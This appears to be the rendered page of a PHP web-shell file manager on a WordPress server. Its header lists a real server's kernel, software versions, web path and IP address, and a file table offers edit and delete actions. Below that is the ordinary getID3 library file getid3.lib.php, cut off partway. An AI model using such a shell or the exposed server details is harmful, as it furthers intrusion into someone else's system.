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Linux debian-2gb-nbg1 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
  SOFT : Apache/2.4.62 (Debian) PHP : 8.2.28
/var/www/raiox.pt/html/wp-includes/ID3/
162.55.61.15

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
  getid3.lib.php 53.393 KB -rw-r--r-- 2025-06-04 14:17 R E G D
  getid3.php 79.098 KB -rw-r--r-- 2025-06-04 14:17 R E G D
  license.txt 1.363 KB -rw-r--r-- 2025-06-04 14:17 R E G D
  module.audio-video.asf.php 132.641 KB -rw-r--r-- 2025-06-04 14:17 R E G D
  module.audio-video.flv.php 26.496 KB -rw-r--r-- 2025-06-04 14:18 R E G D
  module.audio-video.matroska.php 104.636 KB -rw-r--r-- 2025-06-04 14:18 R E G D
  module.audio-video.quicktime.php 163.093 KB -rw-r--r-- 2025-06-04 14:18 R E G D
  module.audio-video.riff.php 135.604 KB -rw-r--r-- 2025-06-04 14:18 R E G D
  module.audio.ac3.php 38.461 KB -rw-r--r-- 2025-06-04 14:18 R E G D
  module.audio.dts.php 10.631 KB -rw-r--r-- 2025-06-04 14:18 R E G D
  module.audio.flac.php 19.229 KB -rw-r--r-- 2025-06-04 14:18 R E G D
  module.audio.mp3.php 104.397 KB -rw-r--r-- 2025-06-04 14:18 R E G D
  module.audio.ogg.php 42.27 KB -rw-r--r-- 2025-06-04 14:18 R E G D
  module.tag.apetag.php 18.46 KB -rw-r--r-- 2025-06-04 14:18 R E G D
  module.tag.id3v1.php 14.695 KB -rw-r--r-- 2025-06-04 14:18 R E G D
  module.tag.id3v2.php 151.114 KB -rw-r--r-- 2025-06-04 14:18 R E G D
  module.tag.lyrics3.php 11.53 KB -rw-r--r-- 2025-06-04 14:18 R E G D
  readme.txt 25.713 KB -rw-r--r-- 2025-06-04 14:18 R E G D
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// // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // // // getid3.lib.php - part of getID3() // // see readme.txt for more details // // /// ///////////////////////////////////////////////////////////////// if(!defined('GETID3_LIBXML_OPTIONS') && defined('LIBXML_VERSION')) { if(LIBXML_VERSION >= 20621) { define('GETID3_LIBXML_OPTIONS', LIBXML_NOENT | LIBXML_NONET | LIBXML_NOWARNING | LIBXML_COMPACT); } else { define('GETID3_LIBXML_OPTIONS', LIBXML_NOENT | LIBXML_NONET | LIBXML_NOWARNING); } } class getid3_lib { /** * @param string $string * @param bool $hex * @param bool $spaces * @param string|bool $htmlencoding * * @return string */ public static function PrintHexBytes($string, $hex=true, $spaces=true, $htmlencoding='UTF-8') { $returnstring = ''; for ($i = 0; $i < strlen($string); $i++) { if ($hex) { $returnstring .= str_pad(dechex(ord($string[$i])), 2, '0', STR_PAD_LEFT); } else { $returnstring .= ' '.(preg_match("#[\x20-\x7E]#", $string[$i]) ? $string[$i] : '¤'); } if ($spaces) { $returnstring .= ' '; } } if (!empty($htmlencoding)) { if ($htmlencoding === true) { $htmlencoding = 'UTF-8'; // prior to getID3 v1.9.0 the function's 4th parameter was boolean } $returnstring = htmlentities($returnstring, ENT_QUOTES, $htmlencoding); } return $returnstring; } /** * Truncates a floating-point number at the decimal point. * * @param float $floatnumber * * @return float|int returns int (if possible, otherwise float) */ public static function trunc($floatnumber) { if ($floatnumber >= 1) { $truncatednumber = floor($floatnumber); } elseif ($floatnumber <= -1) { $truncatednumber = ceil($floatnumber); } else { $truncatednumber = 0; } if (self::intValueSupported($truncatednumber)) { $truncatednumber = (int) $truncatednumber; } return $truncatednumber; } /** * @param int|null $variable * @param int $increment * * @return bool */ public static function safe_inc(&$variable, $increment=1) { if (isset($variable)) { $variable += $increment; } else { $variable = $increment; } return true; } /** * @param int|float $floatnum * * @return int|float */ public static function CastAsInt($floatnum) { // convert to float if not already $floatnum = (float) $floatnum; // convert a float to type int, only if possible if (self::trunc($floatnum) == $floatnum) { // it's not floating point if (self::intValueSupported($floatnum)) { // it's within int range $floatnum = (int) $floatnum; } } return $floatnum; } /** * @param int $num * * @return bool */ public static function intValueSupported($num) { // check if integers are 64-bit static $hasINT64 = null; if ($hasINT64 === null) { // 10x faster than is_null() $hasINT64 = is_int(pow(2, 31)); // 32-bit int are limited to (2^31)-1 if (!$hasINT64 && !defined('PHP_INT_MIN')) { define('PHP_INT_MIN', ~PHP_INT_MAX); } } // if integers are 64-bit - no other check required if ($hasINT64 || (($num <= PHP_INT_MAX) && ($num >= PHP_INT_MIN))) { return true; } return false; } /** * Perform a division, guarding against division by zero * * @param float|int $numerator * @param float|int $denominator * @param float|int $fallback * @return float|int */ public static function SafeDiv($numerator, $denominator, $fallback = 0) { return $denominator ? $numerator / $denominator : $fallback; } /** * @param string $fraction * * @return float */ public static function DecimalizeFraction($fraction) { list($numerator, $denominator) = explode('/', $fraction); return (int) $numerator / ($denominator ? $denominator : 1); } /** * @param string $binarynumerator * * @return float */ public static function DecimalBinary2Float($binarynumerator) { $numerator = self::Bin2Dec($binarynumerator); $denominator = self::Bin2Dec('1'.str_repeat('0', strlen($binarynumerator))); return ($numerator / $denominator); } /** * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html * * @param string $binarypointnumber * @param int $maxbits * * @return array */ public static function NormalizeBinaryPoint($binarypointnumber, $maxbits=52) { if (strpos($binarypointnumber, '.') === false) { $binarypointnumber = '0.'.$binarypointnumber; } elseif ($binarypointnumber[0] == '.') { $binarypointnumber = '0'.$binarypointnumber; } $exponent = 0; while (($binarypointnumber[0] != '1') || (substr($binarypointnumber, 1, 1) != '.')) { if (substr($binarypointnumber, 1, 1) == '.') { $exponent--; $binarypointnumber = substr($binarypointnumber, 2, 1).'.'.substr($binarypointnumber, 3); } else { $pointpos = strpos($binarypointnumber, '.'); $exponent += ($pointpos - 1); $binarypointnumber = str_replace('.', '', $binarypointnumber); $binarypointnumber = $binarypointnumber[0].'.'.substr($binarypointnumber, 1); } } $binarypointnumber = str_pad(substr($binarypointnumber, 0, $maxbits + 2), $maxbits + 2, '0', STR_PAD_RIGHT); return array('normalized'=>$binarypointnumber, 'exponent'=>(int) $exponent); } /** * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html * * @param float $floatvalue * * @return string */ public static function Float2BinaryDecimal($floatvalue) { $maxbits = 128; // to how many bits of precision should the calculations be taken? $intpart = self::trunc($floatvalue); $floatpart = abs($floatvalue - $intpart); $pointbitstring = ''; while (($floatpart != 0) && (strlen($pointbitstring) < $maxbits)) { $floatpart *= 2; $pointbitstring .= (string) self::trunc($floatpart); $floatpart -= self::trunc($floatpart); } $binarypointnumber = decbin($intpart).'.'.$pointbitstring; return $binarypointnumber; } /** * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html * * @param float $floatvalue * @param int $bits * * @return string|false */ public static function Float2String($floatvalue, $bits) { $exponentbits = 0; $fractionbits = 0; switch ($bits) { case 32: $exponentbits = 8; $fractionbits = 23; break; case 64: $exponentbits = 11; $fractionbits = 52; break; default: return false; } if ($floatvalue >= 0) { $signbit = '0'; } else { $signbit = '1'; } $normalizedbinary = self::NormalizeBinaryPoint(self::Float2BinaryDecimal($floatvalue), $fractionbits); $biasedexponent = pow(2, $exponentbits - 1) - 1 + $normalizedbinary['exponent']; // (127 or 1023) +/- exponent $exponentbitstring = str_pad(decbin($biasedexponent), $exponentbits, '0', STR_PAD_LEFT); $fractionbitstring = str_pad(substr($normalizedbinary['normalized'], 2), $fractionbits, '0', STR_PAD_RIGHT); return self::BigEndian2String(self::Bin2Dec($signbit.$exponentbitstring.$fractionbitstring), $bits % 8, false); } /** * @param string $byteword * * @return float|false */ public static function LittleEndian2Float($byteword) { return self::BigEndian2Float(strrev($byteword)); } /** * ANSI/IEEE Standard 754-1985, Standard for Binary Floating Point Arithmetic * * @link https://web.archive.org/web/20120325162206/http://www.psc.edu/general/software/packages/ieee/ieee.php * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee.html * * @param string $byteword * * @return float|false */ public static function BigEndian2Float($byteword) { $bitword = self::BigEndian2Bin($byteword); if (!$bitword) { return 0; } $signbit = $bitword[0]; $floatvalue = 0; $exponentbits = 0; $fractionbits = 0; switch (strlen($byteword) * 8) { case 32: $exponentbits = 8; $fractionbits = 23; break; case 64: $exponentbits = 11; $fractionbits = 52; break; case 80: // 80-bit Apple SANE format // http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/ $exponentstring = substr($bitword, 1, 15); $isnormalized = intval($bitword[16]); $fractionstring = substr($bitword, 17, 63); $exponent = pow(2, self::Bin2Dec($exponentstring) - 16383); $fraction = $isnormalized + self::DecimalBinary2Float($fractionstring); $floatvalue = $exponent * $fraction; if ($signbit == '1') { $floatvalue *= -1; } return $floatvalue; default: return false; } $exponentstring = substr($bitword, 1, $exponentbits); $fractionstring = substr($bitword, $exponentbits + 1, $fractionbits); $exponent = self::Bin2Dec($exponentstring); $fraction = self::Bin2Dec($fractionstring); if (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction != 0)) { // Not a Number $floatvalue = NAN; } elseif (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction == 0)) { if ($signbit == '1') { $floatvalue = -INF; } else { $floatvalue = INF; } } elseif (($exponent == 0) && ($fraction == 0)) { if ($signbit == '1') { $floatvalue = -0.0; } else { $floatvalue = 0.0; } } elseif (($exponent == 0) && ($fraction != 0)) { // These are 'unnormalized' values $floatvalue = pow(2, (-1 * (pow(2, $exponentbits - 1) - 2))) * self::DecimalBinary2Float($fractionstring); if ($signbit == '1') { $floatvalue *= -1; } } elseif ($exponent != 0) { $floatvalue = pow(2, ($exponent - (pow(2, $exponentbits - 1) - 1))) * (1 + self::DecimalBinary2Float($fractionstring)); if ($signbit == '1') { $floatvalue *= -1; } } return (float) $floatvalue; } /** * @param string $byteword * @param bool $synchsafe * @param bool $signed * * @return int|float|false * @throws Exception */ public static function BigEndian2Int($byteword, $synchsafe=false, $signed=false) { $intvalue = 0; $bytewordlen = strlen($byteword); if ($bytewordlen == 0) { return false; } for ($i = 0; $i < $bytewordlen; $i++) { if ($synchsafe) { // disregard MSB, effectively 7-bit bytes //$intvalue = $intvalue | (ord($byteword{$i}) & 0x7F) << (($bytewordlen - 1 - $i) * 7); // faster, but runs into problems past 2^31 on 32-bit systems $intvalue += (ord($byteword[$i]) & 0x7F) * pow(2, ($bytewordlen - 1 - $i) * 7); } else { $intvalue += ord($byteword[$i]) * pow(256, ($bytewordlen - 1 - $i)); } } if ($signed && !$synchsafe) { // synchsafe ints are not allowed to be signed if ($bytewordlen <= PHP_INT_SIZE) { $signMaskBit = 0x80 << (8 * ($bytewordlen - 1)); if ($intvalue & $signMaskBit) { $intvalue = 0 - ($intvalue & ($signMaskBit - 1)); } } else { throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits ('.strlen($byteword).') in self::BigEndian2Int()'); } } return self::CastAsInt($intvalue); } /** * @param string $byteword * @param bool $signed * * @return int|float|false */ public static function LittleEndian2Int($byteword, $signed=false) { return self::BigEndian2Int(strrev($byteword), false, $signed); } /** * @param string $byteword * * @return string */ public static function LittleEndian2Bin($byteword) { return self::BigEndian2Bin(strrev($byteword)); } /** * @param string $byteword * * @return string */ public static function BigEndian2Bin($byteword) { $binvalue = ''; $bytewordlen = strlen($byteword); for ($i = 0; $i < $bytewordlen; $i++) { $binvalue .= str_pad(decbin(ord($byteword[$i])), 8, '0', STR_PAD_LEFT); } return $binvalue; } /** * @param int $number * @param int $minbytes * @param bool $synchsafe * @param bool $signed * * @return string * @throws Exception */ public static function BigEndian2String($number, $minbytes=1, $synchsafe=false, $signed=false) { if ($number < 0) { throw new Exception('ERROR: self::BigEndian2String() does not support negative numbers'); } $maskbyte = (($synchsafe || $signed) ? 0x7F : 0xFF); $intstring = ''; if ($signed) { if ($minbytes > PHP_INT_SIZE) { throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits in self::BigEndian2String()'); } $number = $number & (0x80 << (8 * ($minbytes - 1))); } while ($number != 0) { $quotient = ($number / ($maskbyte + 1)); $intstring = chr(ceil(($quotient - floor($quotient)) * $maskbyte)).$intstring; $number = floor($quotient); } return str_pad($intstring, $minbytes, "\x00", STR_PAD_LEFT); } /** * @param int $number * * @return string */ public static function Dec2Bin($number) { if (!is_numeric($number)) { // https://github.com/JamesHeinrich/getID3/issues/299 trigger_error('TypeError: Dec2Bin(): Argument #1 ($number) must be numeric, '.gettype($number).' given', E_USER_WARNING); return ''; } $bytes = array(); while ($number >= 256) { $bytes[] = (int) (($number / 256) - (floor($number / 256))) * 256; $number = floor($number / 256); } $bytes[] = (int) $number; $binstring = ''; foreach ($bytes as $i => $byte) { $binstring = (($i == count($bytes) - 1) ? decbin($byte) : str_pad(decbin($byte), 8, '0', STR_PAD_LEFT)).$binstring; } return $binstring; } /** * @param string $binstring * @param bool $signed * * @return int|float */ public static function Bin2Dec($binstring, $signed=false) { $signmult = 1; if ($signed) { if ($binstring[0] == '1') { $signmult = -1; } $binstring = substr($binstring, 1); } $decvalue = 0; for ($i = 0; $i < strlen($binstring); $i++) { $decvalue += ((int) substr($binstring, strlen($binstring) - $i - 1, 1)) * pow(2, $i); } return self::CastAsInt($decvalue * $signmult); } /** * @param string $binstring * * @return string */ public static function Bin2String($binstring) { // return 'hi' for input of '0110100001101001' $string = ''; $binstringreversed = strrev($binstring); for ($i = 0; $i < strlen($binstringreversed); $i += 8) { $string = chr(self::Bin2Dec(strrev(substr($binstringreversed, $i, 8)))).$string; } return $string; } /** * @param int $number * @param int $minbytes * @param bool $synchsafe * * @return string */ public static function LittleEndian2String($number, $minbytes=1, $synchsafe=false) { $intstring = ''; while ($number > 0) { if ($synchsafe) { $intstring = $intstring.chr($number & 127); $number >>= 7; } else { $intstring = $intstring.chr($number & 255); $number >>= 8; } } return str_pad($intstring, $minbytes, "\x00", STR_PAD_RIGHT); } /** * @param mixed $array1 * @param mixed $array2 * * @return array|false */ public static function array_merge_clobber($array1, $array2) { // written by kcØhireability*com // taken from http://www.php.net/manual/en/function.array-merge-recursive.php if (!is_array($array1) || !is_array($array2)) { return false; } $newarray = $array1; foreach ($array2 as $key => $val) { if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) { $newarray[$key] = self::array_merge_clobber($newarray[$key], $val); } else { $newarray[$key] = $val; } } return $newarray; } /** * @param mixed $array1 * @param mixed $array2 * * @return array|false */ public static function array_merge_noclobber($array1, $array2) { if (!is_array($array1) || !is_array($array2)) { return false; } $newarray = $array1; foreach ($array2 as $key => $val) { if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) { $newarray[$key] = self::array_merge_noclobber($newarray[$key], $val); } elseif (!isset($newarray[$key])) { $newarray[$key] = $val; } } return $newarray; } /** * @param mixed $array1 * @param mixed $array2 * * @return array|false|null */ public static function flipped_array_merge_noclobber($array1, $array2) { if (!is_array($array1) || !is_array($array2)) { return false; } # naturally, this only works non-recursively $newarray = array_flip($array1); foreach (array_flip($array2) as $key => $val) { if (!isset($newarray[$key])) { $newarray[$key] = count($newarray); } } return array_flip($newarray); } /** * @param array $theArray * * @return bool */ public static function ksort_recursive(&$theArray) { ksort($theArray); foreach ($theArray as $key => $value) { if (is_array($value)) { self::ksort_recursive($theArray[$key]); } } return true; } /** * @param string $filename * @param int $numextensions * * @return string */ public static function fileextension($filename, $numextensions=1) { if (strstr($filename, '.')) { $reversedfilename = strrev($filename); $offset = 0; for ($i = 0; $i < $numextensions; $i++) { $offset = strpos($reversedfilename, '.', $offset + 1); if ($offset === false) { return ''; } } return strrev(substr($reversedfilename, 0, $offset)); } return ''; } /** * @param int $seconds * * @return string */ public static function PlaytimeString($seconds) { $sign = (($seconds < 0) ? '-' : ''); $seconds = round(abs($seconds)); $H = (int) floor( $seconds / 3600); $M = (int) floor(($seconds - (3600 * $H) ) / 60); $S = (int) round( $seconds - (3600 * $H) - (60 * $M) ); return $sign.($H ? $H.':' : '').($H ? str_pad($M, 2, '0', STR_PAD_LEFT) : intval($M)).':'.str_pad($S, 2, 0, STR_PAD_LEFT); } /** * @param int $macdate * * @return int|float */ public static function DateMac2Unix($macdate) { // Macintosh timestamp: seconds since 00:00h January 1, 1904 // UNIX timestamp: seconds since 00:00h January 1, 1970 return self::CastAsInt($macdate - 2082844800); } /** * @param string $rawdata * * @return float */ public static function FixedPoint8_8($rawdata) { return self::BigEndian2Int(substr($rawdata, 0, 1)) + (float) (self::BigEndian2Int(substr($rawdata, 1, 1)) / pow(2, 8)); } /** * @param string $rawdata * * @return float */ public static function FixedPoint16_16($rawdata) { return self::BigEndian2Int(substr($rawdata, 0, 2)) + (float) (self::BigEndian2Int(substr($rawdata, 2, 2)) / pow(2, 16)); } /** * @param string $rawdata * * @return float */ public static function FixedPoint2_30($rawdata) { $binarystring = self::BigEndian2Bin($rawdata); return self::Bin2Dec(substr($binarystring, 0, 2)) + (float) (self::Bin2Dec(substr($binarystring, 2, 30)) / pow(2, 30)); } /** * @param string $ArrayPath * @param string $Separator * @param mixed $Value * * @return array */ public static function CreateDeepArray($ArrayPath, $Separator, $Value) { // assigns $Value to a nested array path: // $foo = self::CreateDeepArray('/path/to/my', '/', 'file.txt') // is the same as: // $foo = array('path'=>array('to'=>'array('my'=>array('file.txt')))); // or // $foo['path']['to']['my'] = 'file.txt'; $ArrayPath = ltrim($ArrayPath, $Separator); $ReturnedArray = array(); if (($pos = strpos($ArrayPath, $Separator)) !== false) { $ReturnedArray[substr($ArrayPath, 0, $pos)] = self::CreateDeepArray(substr($ArrayPath, $pos + 1), $Separator, $Value); } else { $ReturnedArray[$ArrayPath] = $Value; } return $ReturnedArray; } /** * @param array $arraydata * @param bool $returnkey * * @return int|false */ public static function array_max($arraydata, $returnkey=false) { $maxvalue = false; $maxkey = false; foreach ($arraydata as $key => $value) { if (!is_array($value)) { if (($maxvalue === false) || ($value > $maxvalue)) { $maxvalue = $value; $maxkey = $key; } } } return ($returnkey ? $maxkey : $maxvalue); } /** * @param array $arraydata * @param bool $returnkey * * @return int|false */ public static function array_min($arraydata, $returnkey=false) { $minvalue = false; $minkey = false; foreach ($arraydata as $key => $value) { if (!is_array($value)) { if (($minvalue === false) || ($value < $minvalue)) { $minvalue = $value; $minkey = $key; } } } return ($returnkey ? $minkey : $minvalue); } /** * @param string $XMLstring * * @return array|false */ public static function XML2array($XMLstring) { if (function_exists('simplexml_load_string') && function_exists('libxml_disable_entity_loader')) { // http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html // https://core.trac.wordpress.org/changeset/29378 // This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is // disabled by default, but is still needed when LIBXML_NOENT is used. $loader = @libxml_disable_entity_loader(true); $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', GETID3_LIBXML_OPTIONS); $return = self::SimpleXMLelement2array($XMLobject); @libxml_disable_entity_loader($loader); return $return; } return false; } /** * @param SimpleXMLElement|array|mixed $XMLobject * * @return mixed */ public static function SimpleXMLelement2array($XMLobject) { if (!is_object($XMLobject) && !is_array($XMLobject)) { return $XMLobject; } $XMLarray = $XMLobject instanceof SimpleXMLElement ? get_object_vars($XMLobject) : $XMLobject; foreach ($XMLarray as $key => $value) { $XMLarray[$key] = self::SimpleXMLelement2array($value); } return $XMLarray; } /** * Returns checksum for a file from starting position to absolute end position. * * @param string $file * @param int $offset * @param int $end * @param string $algorithm * * @return string|false * @throws getid3_exception */ public static function hash_data($file, $offset, $end, $algorithm) { if (!self::intValueSupported($end)) { return false; } if (!in_array($algorithm, array('md5', 'sha1'))) { throw new getid3_exception('Invalid algorithm ('.$algorithm.') in self::hash_data()'); } $size = $end - $offset; $fp = fopen($file, 'rb'); fseek($fp, $offset); $ctx = hash_init($algorithm); while ($size > 0) { $buffer = fread($fp, min($size, getID3::FREAD_BUFFER_SIZE)); hash_update($ctx, $buffer); $size -= getID3::FREAD_BUFFER_SIZE; } $hash = hash_final($ctx); fclose($fp); return $hash; } /** * @param string $filename_source * @param string $filename_dest * @param int $offset * @param int $length * * @return bool * @throws Exception * * @deprecated Unused, may be removed in future versions of getID3 */ public static function CopyFileParts($filename_source, $filename_dest, $offset, $length) { if (!self::intValueSupported($offset + $length)) { throw new Exception('cannot copy file portion, it extends beyond the '.round(PHP_INT_MAX / 1073741824).'GB limit'); } if (is_readable($filename_source) && is_file($filename_source) && ($fp_src = fopen($filename_source, 'rb'))) { if (($fp_dest = fopen($filename_dest, 'wb'))) { if (fseek($fp_src, $offset) == 0) { $byteslefttowrite = $length; while (($byteslefttowrite > 0) && ($buffer = fread($fp_src, min($byteslefttowrite, getID3::FREAD_BUFFER_SIZE)))) { $byteswritten = fwrite($fp_dest, $buffer, $byteslefttowrite); $byteslefttowrite -= $byteswritten; } fclose($fp_dest); return true; } else { fclose($fp_src); throw new Exception('failed to seek to offset '.$offset.' in '.$filename_source); } } else { throw new Exception('failed to create file for writing '.$filename_dest); } } else { throw new Exception('failed to open file for reading '.$filename_source); } } /** * @param int $charval * * @return string */ public static function iconv_fallback_int_utf8($charval) { if ($charval < 128) { // 0bbbbbbb $newcharstring = chr($charval); } elseif ($charval < 2048) { // 110bbbbb 10bbbbbb $newcharstring = chr(($charval >> 6) | 0xC0); $newcharstring .= chr(($charval & 0x3F) | 0x80); } elseif ($charval < 65536) { // 1110bbbb 10bbbbbb 10bbbbbb $newcharstring = chr(($charval >> 12) | 0xE0); $newcharstring .= chr(($charval >> 6) | 0xC0); $newcharstring .= chr(($charval & 0x3F) | 0x80); } else { // 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb $newcharstring = chr(($charval >> 18) | 0xF0); $newcharstring .= chr(($charval >> 12) | 0xC0); $newcharstring .= chr(($charval >> 6) | 0xC0); $newcharstring .= chr(($charval & 0x3F) | 0x80); } return $newcharstring; } /** * ISO-8859-1 => UTF-8 * * @param string $string * @param bool $bom * * @return string */ public static function iconv_fallback_iso88591_utf8($string, $bom=false) { $newcharstring = ''; if ($bom) { $newcharstring .= "\xEF\xBB\xBF"; } for ($i = 0; $i < strlen($string); $i++) { $charval = ord($string[$i]); $newcharstring .= self::iconv_fallback_int_utf8($charval); } return $newcharstring;